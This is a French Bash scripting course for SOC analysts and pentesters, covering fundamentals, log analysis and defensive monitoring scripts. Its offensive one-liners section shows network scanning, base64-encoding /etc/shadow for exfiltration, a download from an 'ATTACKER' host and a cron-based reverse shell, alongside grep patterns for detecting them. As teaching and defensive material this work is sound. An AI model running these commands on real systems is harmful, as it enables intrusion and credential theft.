Bash Scripting pour la Cybersecurite
Automatise tes taches d'analyste SOC et de pentester avec Bash. Des one-liners aux scripts complets, maitrise l'outil le plus polyvalent du terminal.
- Maitriser les fondamentaux du scripting Bash
- Ecrire des scripts d'analyse et d'automatisation
- Utiliser les one-liners offensifs et defensifs
- Manipuler les donnees avec grep, awk, sed, cut
- Creer des outils de monitoring et d'alerte
🐚 T1.1 — Pourquoi Bash en cybersecurite ?
Dans le monde de la cybersecurite, le terminal est ton meilleur allie. Que tu sois analyste SOC en train de trier des milliers de lignes de logs, pentester en phase d'enumeration, ou administrateur systeme gerant un parc de serveurs, Bash est partout. C'est le langage de scripting natif de Linux, present sur chaque serveur, chaque conteneur, chaque machine Kali.
Bash, c'est le couteau suisse de la cybersecurite. Imagine un outil unique qui te permet de couper (filtrer des logs), visser (automatiser des taches), scier (decouvrir des services), et meme deboucher des bouteilles (lancer des exploits). Tu n'as pas besoin d'installer quoi que ce soit : il est deja la, pret a l'emploi. Python est la boite a outils complete dans le garage, mais Bash est le couteau suisse que tu as toujours dans ta poche.
Les 5 raisons pour lesquelles Bash est indispensable
- Ubiquite — Bash est installe par defaut sur pratiquement tous les systemes Linux/macOS. Meme les conteneurs Docker minimaux l'incluent souvent (
shau minimum). - Rapidite d'execution — Pour un one-liner rapide, Bash bat tout autre langage. Pas besoin d'importer des bibliotheques, de creer un fichier, ou de lancer un interpreteur.
- Glue language — Bash excelle pour enchainer des outils existants.
nmap | grep | awk | sort: chaque outil fait une chose, Bash les connecte ensemble. - Automatisation sans dependance — Un script Bash tourne sans installation supplementaire. Pas de
pip install, pas denpm install, pas de runtime. - Acces systeme direct — Manipulation de fichiers, processus, reseau, permissions : tout est accessible nativement depuis Bash.
Quand utiliser Bash vs Python ?
| Critere | Bash | Python |
|---|---|---|
| One-liners et filtrage rapide | Excellent | Trop verbeux |
| Automatisation systeme | Ideal | Bon |
| Manipulation de logs | Tres rapide | Bon |
| Parsing JSON/XML complexe | Limite | Excellent |
| Outils reseau avances | Basique | Excellent (Scapy, Requests) |
| Prototypage rapide | Imbattable | Bon |
| Scripts de plus de 200 lignes | Difficile a maintenir | Recommande |
| Disponibilite sur les serveurs | 100% | ~80% |
Temps gagne grace a l'automatisation Bash
| Tache | Temps manuel | Temps avec Bash | Gain |
|---|---|---|---|
| Analyser 10 000 lignes de auth.log | ~45 min | ~3 sec | x900 |
| Verifier les ports ouverts sur 50 serveurs | ~2h | ~30 sec | x240 |
| Extraire les IP uniques d'un log | ~20 min | ~1 sec | x1200 |
| Surveiller les modifications de fichiers critiques | Impossible en continu | Script cron automatique | Infini |
| Generer un rapport de securite quotidien | ~1h | ~5 sec | x720 |
Bash herite de la philosophie Unix : chaque programme fait une seule chose et la fait bien. Le pipe (|) est le ciment qui connecte ces outils entre eux. Un analyste SOC qui maitrise le pipe et les outils de base (grep, awk, sed, sort, uniq, cut) peut resoudre 90% des problemes d'analyse de donnees directement dans le terminal.
📜 T1.2 — Fondamentaux du scripting
Un script Bash est un fichier texte contenant une serie de commandes executees sequentiellement. Il commence toujours par un shebang (#!/bin/bash) qui indique au systeme quel interpreteur utiliser.
Structure de base d'un script
#!/bin/bash
# Nom : mon_script.sh
# Auteur : analyst@soc
# Date : 2026-02-24
# Desc : Script d'exemple pour le module T1
# --- Variables ---
LOG_FILE="/var/log/auth.log"
ALERT_THRESHOLD=10
REPORT_DIR="/home/analyst/reports"
# --- Fonction principale ---
main() {
echo "[*] Demarrage de l'analyse..."
check_logs
echo "[+] Analyse terminee."
}
# --- Appel ---
main "$@"
Un script doit etre executable pour tourner directement. Deux options :
chmod +x mon_script.shpuis./mon_script.sh- Ou directement :
bash mon_script.sh(pas besoin de chmod)
Variables et types
Declaration et utilisation des variables
# Declaration (PAS d'espace autour du =)
NOM="analyst"
PORT=8080
LOG="/var/log/syslog"
# Utilisation avec $
echo "Utilisateur : $NOM"
echo "Port surveille : $PORT"
# Accolades pour delimiter (indispensable avant un suffixe)
echo "Fichier : ${LOG}_backup"
# Variables d'environnement
echo "Home : $HOME"
echo "Utilisateur courant : $USER"
echo "Shell : $SHELL"
echo "PATH : $PATH"
# Capture de commande (command substitution)
IP_LOCALE=$(hostname -I | awk '{print $1}')
DATE=$(date +%Y-%m-%d_%H:%M:%S)
NB_USERS=$(who | wc -l)
echo "[$DATE] IP locale : $IP_LOCALE — $NB_USERS utilisateurs connectes"
# Variables en lecture seule
readonly VERSION="1.0"
# VERSION="2.0" # Erreur : variable en lecture seule
Tableaux (arrays)
# Tableau indexe
PORTS_SUSPECTS=(4444 5555 6666 31337 1337 9999)
CIBLES=("192.168.1.10" "192.168.1.20" "192.168.1.30")
# Acces a un element (index commence a 0)
echo "Premier port suspect : ${PORTS_SUSPECTS[0]}" # 4444
echo "Deuxieme cible : ${CIBLES[1]}" # 192.168.1.20
# Tous les elements
echo "Tous les ports : ${PORTS_SUSPECTS[@]}"
# Nombre d'elements
echo "Nombre de cibles : ${#CIBLES[@]}"
# Ajouter un element
CIBLES+=("192.168.1.40")
# Boucle sur un tableau
for PORT in "${PORTS_SUSPECTS[@]}"; do
echo "Verification du port $PORT..."
done
# Tableau associatif (Bash 4+)
declare -A SERVICES
SERVICES["22"]="SSH"
SERVICES["80"]="HTTP"
SERVICES["443"]="HTTPS"
SERVICES["3306"]="MySQL"
for PORT in "${!SERVICES[@]}"; do
echo "Port $PORT = ${SERVICES[$PORT]}"
done
Variables speciales
| Variable | Signification | Exemple |
|---|---|---|
$0 | Nom du script | ./scan.sh |
$1, $2, $3... | Arguments positionnels | ./scan.sh 192.168.1.0/24 |
$# | Nombre d'arguments | if [ $# -eq 0 ]; then... |
$@ | Tous les arguments (separes) | Dans une boucle for |
$* | Tous les arguments (une chaine) | Moins utilise que $@ |
$? | Code retour de la derniere commande | 0 = succes, autre = erreur |
$$ | PID du script en cours | Utile pour les fichiers temporaires |
$! | PID du dernier processus en arriere-plan | Apres un & |
$_ | Dernier argument de la commande precedente | Raccourci pratique |
#!/bin/bash
# Utilisation des variables speciales
echo "Script : $0"
echo "Nombre d'args : $#"
echo "Arguments : $@"
if [ $# -lt 1 ]; then
echo "Usage: $0 <cible> [port]"
exit 1
fi
CIBLE=$1
PORT=${2:-80} # Valeur par defaut : 80 si $2 non fourni
echo "Scan de $CIBLE sur le port $PORT"
Conditionnels : if, elif, else
Les tests conditionnels sont la base de toute logique en Bash. Ils utilisent les crochets [ ] (commande test) ou les doubles crochets [[ ]] (Bash etendu, recommande).
#!/bin/bash
# Verification de la securite d'un systeme
LOG="/var/log/auth.log"
SEUIL=5
# Test sur fichier
if [[ -f "$LOG" ]]; then
echo "[+] Fichier $LOG trouve"
else
echo "[-] Fichier $LOG introuvable"
exit 1
fi
# Comptage des tentatives echouees
FAILS=$(grep -c "Failed password" "$LOG")
# Comparaison numerique
if [[ $FAILS -gt $SEUIL ]]; then
echo "[!] ALERTE : $FAILS tentatives echouees (seuil: $SEUIL)"
elif [[ $FAILS -gt 0 ]]; then
echo "[*] $FAILS tentatives echouees (sous le seuil)"
else
echo "[+] Aucune tentative echouee"
fi
# Test sur chaine
USER_INPUT=$1
if [[ -z "$USER_INPUT" ]]; then
echo "[-] Aucun argument fourni"
elif [[ "$USER_INPUT" == "scan" ]]; then
echo "[*] Lancement du scan..."
else
echo "[?] Commande inconnue : $USER_INPUT"
fi
Operateurs de test
| Categorie | Operateur | Description |
|---|---|---|
| Fichiers | -f fichier | Le fichier existe et est un fichier regulier |
-d repertoire | Le repertoire existe | |
-r fichier | Le fichier est lisible | |
-w fichier | Le fichier est modifiable (writable) | |
-x fichier | Le fichier est executable | |
-s fichier | Le fichier existe et n'est pas vide (size > 0) | |
| Nombres | -eq | Egal (equal) |
-ne | Different (not equal) | |
-gt | Superieur (greater than) | |
-ge | Superieur ou egal (greater or equal) | |
-lt | Inferieur (less than) | |
-le | Inferieur ou egal (less or equal) | |
| Chaines | -z chaine | La chaine est vide (zero length) |
-n chaine | La chaine n'est pas vide (non-zero) | |
== ou = | Les chaines sont identiques | |
!= | Les chaines sont differentes | |
| Logique | && | ET logique (AND) |
|| | OU logique (OR) | |
! | Negation (NOT) |
Boucles : for, while, until
Boucle for — Iteration sur une liste
# Scan de ports sur une liste de cibles
CIBLES=("192.168.1.10" "192.168.1.20" "192.168.1.30")
PORTS=(22 80 443 8080 3306)
for IP in "${CIBLES[@]}"; do
echo "=== Scan de $IP ==="
for PORT in "${PORTS[@]}"; do
(echo > /dev/tcp/$IP/$PORT) 2>/dev/null && \
echo " [OPEN] $IP:$PORT" || \
echo " [CLOSED] $IP:$PORT"
done
done
# Boucle sur une plage de nombres
for i in {1..254}; do
ping -c 1 -W 1 "192.168.1.$i" >/dev/null 2>&1 && \
echo "192.168.1.$i est UP"
done
# Boucle sur les fichiers de logs
for LOGFILE in /var/log/*.log; do
LINES=$(wc -l < "$LOGFILE")
echo "$LOGFILE : $LINES lignes"
done
# Boucle de style C
for ((i=1; i<=10; i++)); do
echo "Tentative $i/10..."
done
Boucle while — Tant que la condition est vraie
# Lecture ligne par ligne d'un fichier (methode recommandee)
while IFS= read -r LINE; do
if [[ "$LINE" == *"Failed password"* ]]; then
IP=$(echo "$LINE" | awk '{print $11}')
echo "[!] Echec depuis : $IP"
fi
done < /var/log/auth.log
# Surveillance en temps reel (boucle infinie)
while true; do
CONNEXIONS=$(ss -tn | grep ESTAB | wc -l)
echo "[$(date +%H:%M:%S)] $CONNEXIONS connexions actives"
if [[ $CONNEXIONS -gt 50 ]]; then
echo "[!] ALERTE : nombre de connexions anormal !"
fi
sleep 5
done
# Compteur avec while
TENTATIVES=0
MAX=3
while [[ $TENTATIVES -lt $MAX ]]; do
echo "Tentative $((TENTATIVES+1))/$MAX..."
# ... commande ...
((TENTATIVES++))
done
Boucle until — Jusqu'a ce que la condition soit vraie
# Attendre qu'un service soit disponible
echo "[*] Attente du serveur SSH..."
until nc -z 192.168.1.10 22 2>/dev/null; do
echo " [-] SSH non disponible, retry dans 5s..."
sleep 5
done
echo "[+] SSH disponible !"
# Attendre qu'un fichier apparaisse
until [[ -f /tmp/scan_results.txt ]]; do
echo "En attente des resultats..."
sleep 2
done
echo "[+] Resultats disponibles !"
Fonctions
Les fonctions permettent de structurer le code, eviter la repetition, et rendre les scripts maintenables.
#!/bin/bash
# Script structure avec des fonctions
# Couleurs pour la sortie
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color
# Fonctions utilitaires
log_info() { echo -e "${GREEN}[+]${NC} $1"; }
log_warn() { echo -e "${YELLOW}[!]${NC} $1"; }
log_error() { echo -e "${RED}[-]${NC} $1"; }
# Fonction avec arguments et valeur de retour
check_port() {
local HOST=$1
local PORT=$2
(echo > /dev/tcp/$HOST/$PORT) 2>/dev/null
return $? # 0 = ouvert, 1 = ferme
}
# Fonction avec capture de sortie
get_failed_ips() {
local LOGFILE=${1:-/var/log/auth.log}
grep "Failed password" "$LOGFILE" \
| awk '{print $(NF-3)}' \
| sort | uniq -c | sort -rn
}
# Utilisation
log_info "Demarrage du scan"
if check_port "192.168.1.10" 22; then
log_info "SSH ouvert sur 192.168.1.10"
else
log_error "SSH ferme sur 192.168.1.10"
fi
log_info "Top IP des tentatives echouees :"
get_failed_ips "/var/log/auth.log"
Utilise toujours local pour declarer les variables dans les fonctions. Sans local, les variables sont globales et peuvent creer des conflits. C'est une source de bugs tres courante en Bash.
🔍 T1.3 — Manipulation de donnees : grep, awk, sed, cut
Ces quatre outils sont les piliers de l'analyse de donnees en ligne de commande. Un analyste SOC les utilise quotidiennement pour filtrer, extraire, transformer et formater les donnees de logs.
Imagine une chaine de montage : grep est le filtre qui ne laisse passer que les pieces qui t'interessent. awk est le robot precision qui decoupe et reorganise les pieces. sed est le peintre qui modifie l'apparence des pieces. cut est la cisaille qui decoupe a un endroit precis. Ensemble, ils transforment une montagne de donnees brutes en informations exploitables.
grep (Global Regular Expression Print) est l'outil fondamental pour rechercher des motifs dans du texte. C'est la premiere commande qu'un analyste SOC tape pour trouver ce qu'il cherche dans un log.
| Option | Description | Exemple |
|---|---|---|
-i | Insensible a la casse | grep -i "error" syslog |
-c | Compter les occurrences | grep -c "Failed" auth.log |
-v | Inverser (exclure le motif) | grep -v "CRON" syslog |
-n | Afficher les numeros de ligne | grep -n "root" /etc/passwd |
-r | Recursif dans les dossiers | grep -r "password" /etc/ |
-l | Lister seulement les fichiers | grep -rl "secret" /home/ |
-E | Regex etendue (egrep) | grep -E "error|warning|critical" |
-o | Afficher seulement la partie matchee | grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' |
-A n | Afficher n lignes apres le match | grep -A 3 "CRITICAL" syslog |
-B n | Afficher n lignes avant le match | grep -B 5 "segfault" kern.log |
-C n | Contexte (n lignes avant ET apres) | grep -C 2 "exploit" access.log |
Exemples concrets en cybersecurite
# Tentatives de brute force SSH
grep "Failed password" /var/log/auth.log
# Extraire les adresses IP des echecs
grep "Failed password" /var/log/auth.log | grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+'
# Compter les tentatives par IP
grep "Failed password" /var/log/auth.log \
| grep -oE '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' \
| sort | uniq -c | sort -rn | head -10
# Detecter les SQL injections dans les logs Apache
grep -E "(union.*select|or.*1.*=.*1|drop.*table|insert.*into)" /var/log/apache2/access.log
# Trouver les requetes suspectes (LFI, RFI, path traversal)
grep -E "(\.\.\/|etc\/passwd|proc\/self|php:\/\/)" /var/log/apache2/access.log
# Chercher des mots de passe en clair dans les fichiers de config
grep -ri "password\s*=" /etc/ --include="*.conf" 2>/dev/null
# Detecter les reverse shells potentiels
grep -rE "(bash -i|\/dev\/tcp|nc -e|mkfifo|exec 5)" /var/log/ 2>/dev/null
awk est un langage de traitement de texte ligne par ligne. Il excelle pour extraire des champs specifiques dans des donnees structurees (logs, CSV, sorties de commandes).
Principe : awk decoupe chaque ligne en champs (par defaut separes par des espaces). $1 = premier champ, $2 = deuxieme, $NF = dernier, $0 = ligne entiere.
# Syntaxe de base
awk 'condition { action }' fichier
# Extraire le 1er champ (IP) des logs Apache (format combined)
awk '{print $1}' /var/log/apache2/access.log
# Top 10 des IP les plus actives
awk '{print $1}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head -10
# Extraire les IP avec status 403 (Forbidden)
awk '$9 == 403 {print $1, $7}' /var/log/apache2/access.log
# Extraire les requetes de plus de 10 000 octets (champ 10 = bytes)
awk '$10 > 10000 {print $1, $7, $10}' /var/log/apache2/access.log
# Compter les requetes par code HTTP
awk '{count[$9]++} END {for (code in count) print code, count[code]}' \
/var/log/apache2/access.log | sort -k2 -rn
# Separateur personnalise (: pour /etc/passwd)
awk -F: '{print $1, $3, $7}' /etc/passwd
# Trouver les comptes avec UID 0 (root-level)
awk -F: '$3 == 0 {print "[!] UID 0 :", $1, "shell:", $7}' /etc/passwd
# Comptes avec shell interactif
awk -F: '$7 ~ /bash|sh$/ {print $1, $7}' /etc/passwd
# Formater la sortie
awk -F: 'BEGIN {printf "%-15s %-6s %s\n", "USER", "UID", "SHELL"}
$3 >= 1000 && $3 < 65534 {printf "%-15s %-6s %s\n", $1, $3, $7}' /etc/passwd
sed (Stream Editor) modifie du texte a la volee sans ouvrir de fichier. Ideal pour les substitutions, suppressions et transformations de texte.
# Substitution de base : s/ancien/nouveau/
# Masquer les IP dans les logs avant de les partager
sed 's/[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}/[IP_MASQUEE]/g' access.log
# Remplacer un mot (g = global, toutes les occurrences sur la ligne)
sed 's/HTTP/HTTPS/g' config.txt
# Supprimer les lignes contenant un motif
sed '/CRON/d' /var/log/syslog # Supprimer les lignes CRON
sed '/^#/d' /etc/apache2/apache2.conf # Supprimer les commentaires
sed '/^$/d' config.txt # Supprimer les lignes vides
# Supprimer les commentaires ET les lignes vides
sed '/^#/d; /^$/d' /etc/ssh/sshd_config
# Afficher une plage de lignes (equivalent de head/tail precis)
sed -n '100,200p' access.log # Lignes 100 a 200
# Inserer du texte
sed '1i\# Fichier modifie le 2026-02-24' config.txt # Avant la ligne 1
sed '$a\# Fin du fichier' config.txt # Apres la derniere ligne
# Modification in-place (attention: modifie le fichier !)
sed -i 's/PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
# Backup avant modification (-i.bak cree une copie .bak)
sed -i.bak 's/PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
# Extraire entre deux motifs
sed -n '/BEGIN ATTACK/,/END ATTACK/p' incident.log
cut est l'outil le plus simple pour extraire des colonnes ou des caracteres specifiques. Plus rapide que awk pour les decoupages simples.
# Decoupage par delimiteur (-d) et champ (-f)
# Extraire les noms d'utilisateurs de /etc/passwd
cut -d: -f1 /etc/passwd
# Extraire username et shell
cut -d: -f1,7 /etc/passwd
# Extraire les champs 1 a 3
cut -d: -f1-3 /etc/passwd
# Decoupage par caracteres
# Extraire les 10 premiers caracteres de chaque ligne
cut -c1-10 access.log
# Combiner avec d'autres outils
# IP et methode HTTP depuis les logs Apache
awk '{print $1, $6}' access.log | cut -d'"' -f2
# Extraire les dates d'un log syslog (caracteres 1-15)
cut -c1-15 /var/log/syslog | sort | uniq -c | sort -rn
Ce trio magique est le compteur universel en Bash :
sort— trie les lignes (necessaire pour uniq)uniq -c— compte les lignes consecutives identiquessort -rn— trie par nombre decroissant (-r = reverse, -n = numerique)
Utilise-le pour obtenir un "top N" de n'importe quoi : IP, URLs, user-agents, codes HTTP...
Pipeline complet : exemple d'analyse de logs Apache
# Scenario : trouver les attaques potentielles dans les logs Apache
# 1. Top 10 des IP les plus actives (potentiel scan/DDoS)
awk '{print $1}' /var/log/apache2/access.log \
| sort | uniq -c | sort -rn | head -10
# 2. Requetes avec erreurs 4xx/5xx
awk '$9 ~ /^[45]/ {print $1, $9, $7}' /var/log/apache2/access.log \
| sort | uniq -c | sort -rn | head -20
# 3. Detection de directory traversal
grep -E "\.\.\/" /var/log/apache2/access.log \
| awk '{print $1, $7}' | sort -u
# 4. User-agents suspects (sqlmap, nikto, dirbuster...)
awk -F'"' '{print $6}' /var/log/apache2/access.log \
| grep -iE "(sqlmap|nikto|dirbuster|gobuster|wfuzz|burp)" \
| sort | uniq -c | sort -rn
# 5. Timeline des attaques : requetes par heure
awk '{print $4}' /var/log/apache2/access.log \
| cut -d: -f2 | sort | uniq -c
# 6. Pipeline complet : rapport d'anomalies
echo "=== RAPPORT D'ANALYSE — $(date) ==="
echo ""
echo "--- Top 5 IP (volume) ---"
awk '{print $1}' /var/log/apache2/access.log | sort | uniq -c | sort -rn | head -5
echo ""
echo "--- Requetes suspectes (SQLi/XSS/LFI) ---"
grep -cE "(union.*select|\.\.\/)|(script>)" /var/log/apache2/access.log
echo ""
echo "--- Codes 403 (acces refuse) ---"
awk '$9==403' /var/log/apache2/access.log | wc -l
⚡ T1.4 — One-liners offensifs et defensifs
Les one-liners sont des commandes puissantes tenant en une seule ligne. Ils sont l'arme secrete des analystes SOC et des pentesters pour obtenir des resultats rapides sans ecrire de script complet.
Les one-liners offensifs ne doivent etre utilises que dans un cadre autorise : labs, CTF, pentests avec contrat. L'utilisation non autorisee constitue un delit penal. Teste toujours sur tes propres systemes ou avec une autorisation ecrite.
One-liners defensifs (Analyste SOC / Blue Team)
| Objectif | One-liner |
|---|---|
| Top 10 IP brute force SSH | grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -10 |
| Connexions etablies en temps reel | watch -n 2 'ss -tn state established | awk "{print \$5}" | cut -d: -f1 | sort | uniq -c | sort -rn' |
| Processus avec connexions reseau | ss -tnp | awk '{print $6}' | sort -u |
| Fichiers modifies dans les 24h | find /etc -type f -mtime -1 -ls 2>/dev/null |
| Trouver les fichiers SUID | find / -perm -4000 -type f -ls 2>/dev/null |
| Cron jobs de tous les utilisateurs | for USER in $(cut -d: -f1 /etc/passwd); do echo "=== $USER ==="; crontab -l -u $USER 2>/dev/null; done |
| Verifier les comptes UID 0 | awk -F: '$3 == 0 {print $1}' /etc/passwd |
| Comptes sans mot de passe | awk -F: '($2 == "" || $2 == "!") {print $1}' /etc/shadow |
| Ports en ecoute suspects | ss -tulnp | grep -vE ":(22|80|443|53) " |
| Hash de fichiers critiques | sha256sum /etc/passwd /etc/shadow /etc/hosts /etc/crontab 2>/dev/null |
One-liners offensifs (Pentester / Red Team)
Ces commandes sont presentees a titre educatif pour comprendre les techniques d'attaque. Elles doivent etre connues par les defenseurs pour mieux detecter et prevenir les intrusions.
# === RECONNAISSANCE ===
# Ping sweep (decouverte d'hotes)
for i in {1..254}; do (ping -c 1 -W 1 192.168.1.$i >/dev/null 2>&1 && echo "UP: 192.168.1.$i" &); done; wait
# Port scan avec /dev/tcp (sans nmap !)
for PORT in 21 22 23 25 53 80 110 135 139 443 445 993 995 1433 3306 3389 5432 8080 8443; do
(echo > /dev/tcp/192.168.1.10/$PORT) 2>/dev/null && echo "[OPEN] $PORT"
done
# Banner grabbing
echo "" | nc -w 3 192.168.1.10 22 # Banner SSH
curl -sI http://192.168.1.10 # Headers HTTP
# === ENUMERATION ===
# Enumeration DNS
for SUB in www mail ftp vpn admin dev staging api; do
host "$SUB.cible.com" 2>/dev/null | grep "has address" && echo "[+] $SUB.cible.com"
done
# === EXFILTRATION / TRANSFERT ===
# Serveur HTTP rapide pour transferer des fichiers
python3 -m http.server 8888 # Sur la machine attaquante
# wget http://ATTACKER:8888/tool.sh # Depuis la cible
# Encoder un fichier en base64 pour l'exfiltrer
base64 /etc/shadow | tr -d '\n'
# === PERSISTENCE (A CONNAITRE POUR LA DEFENSE) ===
# Ajouter une cle SSH autorisee
# echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
# Cron job de callback
# (crontab -l; echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'") | crontab -
Detection des techniques offensives
Pour chaque technique offensive, voici le one-liner defensif correspondant :
| Technique offensive | Detection (Blue Team) |
|---|---|
Reverse shell via /dev/tcp |
grep -rE "/dev/tcp|/dev/udp" /proc/*/fd/ 2>/dev/null |
| Cron job malveillant | grep -r "dev/tcp\|nc -e\|mkfifo\|bash -i" /var/spool/cron/ /etc/cron* 2>/dev/null |
| Cle SSH non autorisee | find /home -name "authorized_keys" -exec wc -l {} + 2>/dev/null |
| Binaire SUID suspect | find / -perm -4000 -newer /etc/passwd -ls 2>/dev/null |
| Process cache dans /tmp ou /dev/shm | ls -la /tmp/.* /dev/shm/.* 2>/dev/null |
| Connexion sortante suspecte | ss -tnp | awk '$4 !~ /:53$|:80$|:443$/ && $5 ~ /ESTAB/ {print}' |
🛠️ T1.5 — Scripts pratiques pour le SOC
Voici des scripts complets, commentes et prets a l'emploi pour un analyste SOC. Chaque script peut etre adapte a ton environnement.
Ce script surveille les connexions reseau en temps reel et alerte en cas d'anomalie (trop de connexions depuis une IP, ports suspects, connexions vers des pays inhabituels).
#!/bin/bash
#============================================================
# conn_monitor.sh — Moniteur de connexions suspectes
# Usage : ./conn_monitor.sh [seuil] [intervalle_sec]
#============================================================
SEUIL=${1:-10} # Nombre max de connexions par IP
INTERVALLE=${2:-10} # Intervalle de verification en secondes
LOG="/var/log/conn_monitor.log"
PORTS_SUSPECTS="4444 5555 6666 1337 31337 9999 4443"
# Couleurs
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'
log_msg() {
local LEVEL=$1
local MSG=$2
local TIMESTAMP=$(date '+%Y-%m-%d %H:%M:%S')
echo -e "${TIMESTAMP} [${LEVEL}] ${MSG}" | tee -a "$LOG"
}
check_connections() {
echo -e "\n${GREEN}[$(date +%H:%M:%S)]${NC} Analyse des connexions..."
# Compter les connexions par IP distante
ss -tn state established 2>/dev/null \
| awk 'NR>1 {print $5}' \
| cut -d: -f1 \
| sort | uniq -c | sort -rn \
| while read COUNT IP; do
if [[ $COUNT -gt $SEUIL ]]; then
log_msg "ALERTE" "${RED}$IP a $COUNT connexions (seuil: $SEUIL)${NC}"
fi
done
# Verifier les ports suspects
for PORT in $PORTS_SUSPECTS; do
RESULT=$(ss -tlnp 2>/dev/null | grep ":${PORT} ")
if [[ -n "$RESULT" ]]; then
log_msg "DANGER" "${RED}Port suspect $PORT en ecoute !${NC}"
log_msg "DETAIL" "$RESULT"
fi
done
# Nombre total de connexions
TOTAL=$(ss -tn state established 2>/dev/null | wc -l)
log_msg "INFO" "Connexions actives : $TOTAL"
}
# Boucle principale
log_msg "START" "Demarrage du moniteur (seuil=$SEUIL, intervalle=${INTERVALLE}s)"
echo -e "${YELLOW}Ctrl+C pour arreter${NC}"
while true; do
check_connections
sleep "$INTERVALLE"
done
Ce script genere un rapport d'analyse complet a partir des logs Apache : top IP, codes d'erreur, attaques potentielles, user-agents suspects.
#!/bin/bash
#============================================================
# apache_analyzer.sh — Analyseur de logs Apache
# Usage : ./apache_analyzer.sh [fichier_log] [top_n]
#============================================================
LOGFILE=${1:-/var/log/apache2/access.log}
TOP_N=${2:-10}
REPORT="/tmp/apache_report_$(date +%Y%m%d_%H%M%S).txt"
# Verification
if [[ ! -f "$LOGFILE" ]]; then
echo "[-] Fichier $LOGFILE introuvable"
exit 1
fi
TOTAL_LINES=$(wc -l < "$LOGFILE")
{
echo "=============================================="
echo " RAPPORT D'ANALYSE APACHE"
echo " Fichier : $LOGFILE"
echo " Date : $(date '+%Y-%m-%d %H:%M:%S')"
echo " Lignes : $TOTAL_LINES"
echo "=============================================="
echo ""
echo "=== TOP $TOP_N IP (Volume de requetes) ==="
awk '{print $1}' "$LOGFILE" | sort | uniq -c | sort -rn | head -"$TOP_N"
echo ""
echo "=== Distribution des codes HTTP ==="
awk '{print $9}' "$LOGFILE" | grep -E '^[0-9]+$' | sort | uniq -c | sort -rn
echo ""
echo "=== TOP $TOP_N Requetes 404 (Not Found) ==="
awk '$9 == 404 {print $7}' "$LOGFILE" | sort | uniq -c | sort -rn | head -"$TOP_N"
echo ""
echo "=== TOP $TOP_N Requetes 403 (Forbidden) ==="
awk '$9 == 403 {print $1, $7}' "$LOGFILE" | sort | uniq -c | sort -rn | head -"$TOP_N"
echo ""
echo "=== TOP $TOP_N Requetes 500 (Erreurs serveur) ==="
awk '$9 == 500 {print $7}' "$LOGFILE" | sort | uniq -c | sort -rn | head -"$TOP_N"
echo ""
echo "=== DETECTION D'ATTAQUES ==="
echo ""
echo "--- SQL Injection ---"
SQLI=$(grep -ciE "(union.*select|or.*1.*=.*1|drop.*table|insert.*into|select.*from)" "$LOGFILE")
echo "Tentatives detectees : $SQLI"
if [[ $SQLI -gt 0 ]]; then
grep -iE "(union.*select|or.*1.*=.*1)" "$LOGFILE" | awk '{print $1, $7}' | head -5
fi
echo ""
echo "--- Path Traversal / LFI ---"
LFI=$(grep -cE "(\.\.\/|etc\/passwd|proc\/self)" "$LOGFILE")
echo "Tentatives detectees : $LFI"
echo ""
echo "--- XSS ---"
XSS=$(grep -ciE "(